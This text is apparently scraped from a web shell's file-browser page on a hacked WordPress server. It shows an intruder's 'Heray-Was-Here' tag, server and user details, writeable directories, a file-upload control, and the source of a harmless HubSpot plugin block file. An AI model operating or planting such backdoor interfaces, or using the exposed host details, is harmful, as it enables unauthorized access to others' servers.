Heray-Was-Here
Server : Apache/2.4.52 (Debian)
System : Linux 1b21ca041b67 5.10.0-44-amd64 #1 SMP Debian 5.10.257-1 (2026-05-27) x86_64
User : www-data ( 33)
PHP Version : 7.4.28
Disable Function : NONE
Directory :  /var/www/html/wp-content/plugins/leadin/scripts/gutenberg/MeetingsBlock/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/wp-content/plugins/leadin/scripts/gutenberg/MeetingsBlock/MeetingSaveBlock.tsx
import React from 'react';
import { RawHTML } from '@wordpress/element';
import { IMeetingBlockAttributes } from './registerMeetingBlock';

import useCustomCssBlockProps from '../Common/useCustomCssBlockProps';

const DefaultCssClasses = 'wp-block-leadin-hubspot-meeting-block';

export default function MeetingSaveBlock({
  attributes,
}: IMeetingBlockAttributes) {
  const { url } = attributes;
  const blockProps = useCustomCssBlockProps(DefaultCssClasses);

  if (url) {
    return (
      <RawHTML
        {...blockProps}
      >{`[hubspot url="${url}" type="meeting"]`}</RawHTML>
    );
  }
  return null;
}

Hry